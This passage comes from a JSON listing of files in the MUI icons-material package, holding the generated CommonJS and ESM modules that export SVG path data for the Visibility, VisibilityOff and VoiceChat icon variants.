    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .65-.13 1.26-.36 1.83l2.92 2.92c1.51-1.26 2.7-2.89 3.43-4.75-1.73-4.39-6-7.5-11-7.5-1.4 0-2.74.25-3.98.7l2.16 2.16C10.74 7.13 11.35 7 12 7M2 4.27l2.28 2.28.46.46C3.08 8.3 1.78 10.02 1 12c1.73 4.39 6 7.5 11 7.5 1.55 0 3.03-.3 4.38-.84l.42.42L19.73 22 21 20.73 3.27 3zM7.53 9.8l1.55 1.55c-.05.21-.08.43-.08.65 0 1.66 1.34 3 3 3 .22 0 .44-.03.65-.08l1.55 1.55c-.67.33-1.41.53-2.2.53-2.76 0-5-2.24-5-5 0-.79.2-1.53.53-2.2m4.31-.78 3.15 3.15.02-.16c0-1.66-1.34-3-3-3z\"\n}), 'VisibilityOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c2.76 0 5 2.24 5 5 0 .65-.13 1.26-.36 1.83l2.92 2.92c1.51-1.26 2.7-2.89 3.43-4.75-1.73-4.39-6-7.5-11-7.5-1.4 0-2.74.25-3.98.7l2.16 2.16C10.74 7.13 11.35 7 12 7M2 4.27l2.28 2.28.46.46C3.08 8.3 1.78 10.02 1 12c1.73 4.39 6 7.5 11 7.5 1.55 0 3.03-.3 4.38-.84l.42.42L19.73 22 21 20.73 3.27 3zM7.53 9.8l1.55 1.55c-.05.21-.08.43-.08.65 0 1.66 1.34 3 3 3 .22 0 .44-.03.65-.08l1.55 1.55c-.67.33-1.41.53-2.2.53-2.76 0-5-2.24-5-5 0-.79.2-1.53.53-2.2m4.31-.78 3.15 3.15.02-.16c0-1.66-1.34-3-3-3z\"\n}), 'VisibilityOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c3.79 0 7.17 2.13 8.82 5.5-.59 1.22-1.42 2.27-2.41 3.12l1.41 1.41c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l1.65 1.65C10.66 6.09 11.32 6 12 6m-1.07 1.14L13 9.21c.57.25 1.03.71 1.28 1.28l2.07 2.07c.08-.34.14-.7.14-1.07C16.5 9.01 14.48 7 12 7c-.37 0-.72.05-1.07.14M2.01 3.87l2.68 2.68C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.98-.29 4.32-.82l3.42 3.42 1.41-1.41L3.42 2.45zm7.5 7.5 2.61 2.61c-.04.01-.08.02-.12.02-1.38 0-2.5-1.12-2.5-2.5 0-.05.01-.08.01-.13m-3.4-3.4 1.75 1.75c-.23.55-.36 1.15-.36 1.78 0 2.48 2.02 4.5 4.5 4.5.63 0 1.23-.13 1.77-.36l.98.98c-.88.24-1.8.38-2.75.38-3.79 0-7.17-2.13-8.82-5.5.7-1.43 1.72-2.61 2.93-3.53\"\n}), 'VisibilityOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c3.79 0 7.17 2.13 8.82 5.5-.59 1.22-1.42 2.27-2.41 3.12l1.41 1.41c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l1.65 1.65C10.66 6.09 11.32 6 12 6m-1.07 1.14L13 9.21c.57.25 1.03.71 1.28 1.28l2.07 2.07c.08-.34.14-.7.14-1.07C16.5 9.01 14.48 7 12 7c-.37 0-.72.05-1.07.14M2.01 3.87l2.68 2.68C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.98-.29 4.32-.82l3.42 3.42 1.41-1.41L3.42 2.45zm7.5 7.5 2.61 2.61c-.04.01-.08.02-.12.02-1.38 0-2.5-1.12-2.5-2.5 0-.05.01-.08.01-.13m-3.4-3.4 1.75 1.75c-.23.55-.36 1.15-.36 1.78 0 2.48 2.02 4.5 4.5 4.5.63 0 1.23-.13 1.77-.36l.98.98c-.88.24-1.8.38-2.75.38-3.79 0-7.17-2.13-8.82-5.5.7-1.43 1.72-2.61 2.93-3.53\"\n}), 'VisibilityOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c2.76 0 5 2.24 5 5 0 .51-.1 1-.24 1.46l3.06 3.06c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l2.17 2.17c.47-.14.96-.24 1.47-.24M2.71 3.16c-.39.39-.39 1.02 0 1.41l1.97 1.97C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.97-.3 4.31-.82l2.72 2.72c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.13 3.16c-.39-.39-1.03-.39-1.42 0M12 16.5c-2.76 0-5-2.24-5-5 0-.77.18-1.5.49-2.14l1.57 1.57c-.03.18-.06.37-.06.57 0 1.66 1.34 3 3 3 .2 0 .38-.03.57-.07L14.14 16c-.65.32-1.37.5-2.14.5m2.97-5.33c-.15-1.4-1.25-2.49-2.64-2.64z\"\n}), 'VisibilityOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c2.76 0 5 2.24 5 5 0 .51-.1 1-.24 1.46l3.06 3.06c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l2.17 2.17c.47-.14.96-.24 1.47-.24M2.71 3.16c-.39.39-.39 1.02 0 1.41l1.97 1.97C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.97-.3 4.31-.82l2.72 2.72c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.13 3.16c-.39-.39-1.03-.39-1.42 0M12 16.5c-2.76 0-5-2.24-5-5 0-.77.18-1.5.49-2.14l1.57 1.57c-.03.18-.06.37-.06.57 0 1.66 1.34 3 3 3 .2 0 .38-.03.57-.07L14.14 16c-.65.32-1.37.5-2.14.5m2.97-5.33c-.15-1.4-1.25-2.49-2.64-2.64z\"\n}), 'VisibilityOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.5c2.76 0 5 2.24 5 5 0 .51-.1 1-.24 1.46l3.06 3.06c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l2.17 2.17c.47-.14.96-.24 1.47-.24M3.42 2.45 2.01 3.87l2.68 2.68C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.97-.3 4.31-.82l3.43 3.43 1.41-1.41zM12 16.5c-2.76 0-5-2.24-5-5 0-.77.18-1.5.49-2.14l1.57 1.57c-.03.18-.06.37-.06.57 0 1.66 1.34 3 3 3 .2 0 .38-.03.57-.07L14.14 16c-.65.32-1.37.5-2.14.5m2.97-5.33c-.15-1.4-1.25-2.49-2.64-2.64z\"\n}), 'VisibilityOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.5c2.76 0 5 2.24 5 5 0 .51-.1 1-.24 1.46l3.06 3.06c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l2.17 2.17c.47-.14.96-.24 1.47-.24M3.42 2.45 2.01 3.87l2.68 2.68C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.97-.3 4.31-.82l3.43 3.43 1.41-1.41zM12 16.5c-2.76 0-5-2.24-5-5 0-.77.18-1.5.49-2.14l1.57 1.57c-.03.18-.06.37-.06.57 0 1.66 1.34 3 3 3 .2 0 .38-.03.57-.07L14.14 16c-.65.32-1.37.5-2.14.5m2.97-5.33c-.15-1.4-1.25-2.49-2.64-2.64z\"\n}), 'VisibilityOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c.04 0 .08-.01.12-.01l-2.61-2.61c0 .04-.01.08-.01.12 0 1.38 1.12 2.5 2.5 2.5m1.01-4.79 1.28 1.28c-.26-.57-.71-1.03-1.28-1.28m7.81 2.29C19.17 8.13 15.79 6 12 6c-.68 0-1.34.09-1.99.22l.92.92c.35-.09.7-.14 1.07-.14 2.48 0 4.5 2.02 4.5 4.5 0 .37-.06.72-.14 1.07l2.05 2.05c.98-.86 1.81-1.91 2.41-3.12M12 17c.95 0 1.87-.13 2.75-.39l-.98-.98c-.54.24-1.14.37-1.77.37-2.48 0-4.5-2.02-4.5-4.5 0-.63.13-1.23.36-1.77L6.11 7.97c-1.22.91-2.23 2.1-2.93 3.52C4.83 14.86 8.21 17 12 17\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c3.79 0 7.17 2.13 8.82 5.5-.59 1.22-1.42 2.27-2.41 3.12l1.41 1.41c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l1.65 1.65C10.66 6.09 11.32 6 12 6m2.28 4.49 2.07 2.07c.08-.34.14-.7.14-1.07C16.5 9.01 14.48 7 12 7c-.37 0-.72.06-1.07.14L13 9.21c.58.25 1.03.71 1.28 1.28M2.01 3.87l2.68 2.68C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.98-.29 4.32-.82l3.42 3.42 1.41-1.41L3.42 2.45zm7.5 7.5 2.61 2.61c-.04.01-.08.02-.12.02-1.38 0-2.5-1.12-2.5-2.5 0-.05.01-.08.01-.13m-3.4-3.4 1.75 1.75c-.23.55-.36 1.15-.36 1.78 0 2.48 2.02 4.5 4.5 4.5.63 0 1.23-.13 1.77-.36l.98.98c-.88.24-1.8.38-2.75.38-3.79 0-7.17-2.13-8.82-5.5.7-1.43 1.72-2.61 2.93-3.53\"\n}, \"1\")], 'VisibilityOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c.04 0 .08-.01.12-.01l-2.61-2.61c0 .04-.01.08-.01.12 0 1.38 1.12 2.5 2.5 2.5m1.01-4.79 1.28 1.28c-.26-.57-.71-1.03-1.28-1.28m7.81 2.29C19.17 8.13 15.79 6 12 6c-.68 0-1.34.09-1.99.22l.92.92c.35-.09.7-.14 1.07-.14 2.48 0 4.5 2.02 4.5 4.5 0 .37-.06.72-.14 1.07l2.05 2.05c.98-.86 1.81-1.91 2.41-3.12M12 17c.95 0 1.87-.13 2.75-.39l-.98-.98c-.54.24-1.14.37-1.77.37-2.48 0-4.5-2.02-4.5-4.5 0-.63.13-1.23.36-1.77L6.11 7.97c-1.22.91-2.23 2.1-2.93 3.52C4.83 14.86 8.21 17 12 17\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c3.79 0 7.17 2.13 8.82 5.5-.59 1.22-1.42 2.27-2.41 3.12l1.41 1.41c1.39-1.23 2.49-2.77 3.18-4.53C21.27 7.11 17 4 12 4c-1.27 0-2.49.2-3.64.57l1.65 1.65C10.66 6.09 11.32 6 12 6m2.28 4.49 2.07 2.07c.08-.34.14-.7.14-1.07C16.5 9.01 14.48 7 12 7c-.37 0-.72.06-1.07.14L13 9.21c.58.25 1.03.71 1.28 1.28M2.01 3.87l2.68 2.68C3.06 7.83 1.77 9.53 1 11.5 2.73 15.89 7 19 12 19c1.52 0 2.98-.29 4.32-.82l3.42 3.42 1.41-1.41L3.42 2.45zm7.5 7.5 2.61 2.61c-.04.01-.08.02-.12.02-1.38 0-2.5-1.12-2.5-2.5 0-.05.01-.08.01-.13m-3.4-3.4 1.75 1.75c-.23.55-.36 1.15-.36 1.78 0 2.48 2.02 4.5 4.5 4.5.63 0 1.23-.13 1.77-.36l.98.98c-.88.24-1.8.38-2.75.38-3.79 0-7.17-2.13-8.82-5.5.7-1.43 1.72-2.61 2.93-3.53\"\n}, \"1\")], 'VisibilityOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c3.79 0 7.17 2.13 8.82 5.5C19.17 14.87 15.79 17 12 17s-7.17-2.13-8.82-5.5C4.83 8.13 8.21 6 12 6m0-2C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 5c1.38 0 2.5 1.12 2.5 2.5S13.38 14 12 14s-2.5-1.12-2.5-2.5S10.62 9 12 9m0-2c-2.48 0-4.5 2.02-4.5 4.5S9.52 16 12 16s4.5-2.02 4.5-4.5S14.48 7 12 7\"\n}), 'VisibilityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c3.79 0 7.17 2.13 8.82 5.5C19.17 14.87 15.79 17 12 17s-7.17-2.13-8.82-5.5C4.83 8.13 8.21 6 12 6m0-2C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 5c1.38 0 2.5 1.12 2.5 2.5S13.38 14 12 14s-2.5-1.12-2.5-2.5S10.62 9 12 9m0-2c-2.48 0-4.5 2.02-4.5 4.5S9.52 16 12 16s4.5-2.02 4.5-4.5S14.48 7 12 7\"\n}), 'VisibilityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'VisibilityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'VisibilityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'VisibilitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'VisibilitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.79 0-7.17 2.13-8.82 5.5C4.83 14.87 8.21 17 12 17s7.17-2.13 8.82-5.5C19.17 8.13 15.79 6 12 6m0 10c-2.48 0-4.5-2.02-4.5-4.5S9.52 7 12 7s4.5 2.02 4.5 4.5S14.48 16 12 16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 13c-3.79 0-7.17-2.13-8.82-5.5C4.83 8.13 8.21 6 12 6s7.17 2.13 8.82 5.5C19.17 14.87 15.79 17 12 17m0-10c-2.48 0-4.5 2.02-4.5 4.5S9.52 16 12 16s4.5-2.02 4.5-4.5S14.48 7 12 7m0 7c-1.38 0-2.5-1.12-2.5-2.5S10.62 9 12 9s2.5 1.12 2.5 2.5S13.38 14 12 14\"\n}, \"1\")], 'VisibilityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.79 0-7.17 2.13-8.82 5.5C4.83 14.87 8.21 17 12 17s7.17-2.13 8.82-5.5C19.17 8.13 15.79 6 12 6m0 10c-2.48 0-4.5-2.02-4.5-4.5S9.52 7 12 7s4.5 2.02 4.5 4.5S14.48 16 12 16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C7 4 2.73 7.11 1 11.5 2.73 15.89 7 19 12 19s9.27-3.11 11-7.5C21.27 7.11 17 4 12 4m0 13c-3.79 0-7.17-2.13-8.82-5.5C4.83 8.13 8.21 6 12 6s7.17 2.13 8.82 5.5C19.17 14.87 15.79 17 12 17m0-10c-2.48 0-4.5 2.02-4.5 4.5S9.52 16 12 16s4.5-2.02 4.5-4.5S14.48 7 12 7m0 7c-1.38 0-2.5-1.12-2.5-2.5S10.62 9 12 9s2.5 1.12 2.5 2.5S13.38 14 12 14\"\n}, \"1\")], 'VisibilityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.25 5h1.5v10h-1.5zM8.5 7H10v6H8.5zM6 9h1.5v2H6zm8-2h1.5v6H14zm2.5 2H18v2h-1.5z\"\n}, \"1\")], 'VoiceChat');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.25 5h1.5v10h-1.5zM8.5 7H10v6H8.5zM6 9h1.5v2H6zm8-2h1.5v6H14zm2.5 2H18v2h-1.5z\"\n}, \"1\")], 'VoiceChat');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-6-5.4 3 2.4V7l-3 2.4V7H7v6h7z\"\n}), 'VoiceChatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-6-5.4 3 2.4V7l-3 2.4V7H7v6h7z\"\n}), 'VoiceChatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.62 10.7L14 10.8V13c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.2l2.38-1.9c.65-.52 1.62-.06 1.62.78v3.84c0 .84-.97 1.3-1.62.78\"\n}), 'VoiceChatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.62 10.7L14 10.8V13c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v2.2l2.38-1.9c.65-.52 1.62-.06 1.62.78v3.84c0 .84-.97 1.3-1.62.78\"\n}), 'VoiceChatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zm-4 12-4-3.2V14H6V6h8v3.2L18 6z\"\n}), 'VoiceChatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VoiceChatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zm-4 12-4-3.2V14H6V6h8v3.2L18 6z\"\n}), 'VoiceChatSharp');"
  },
  {
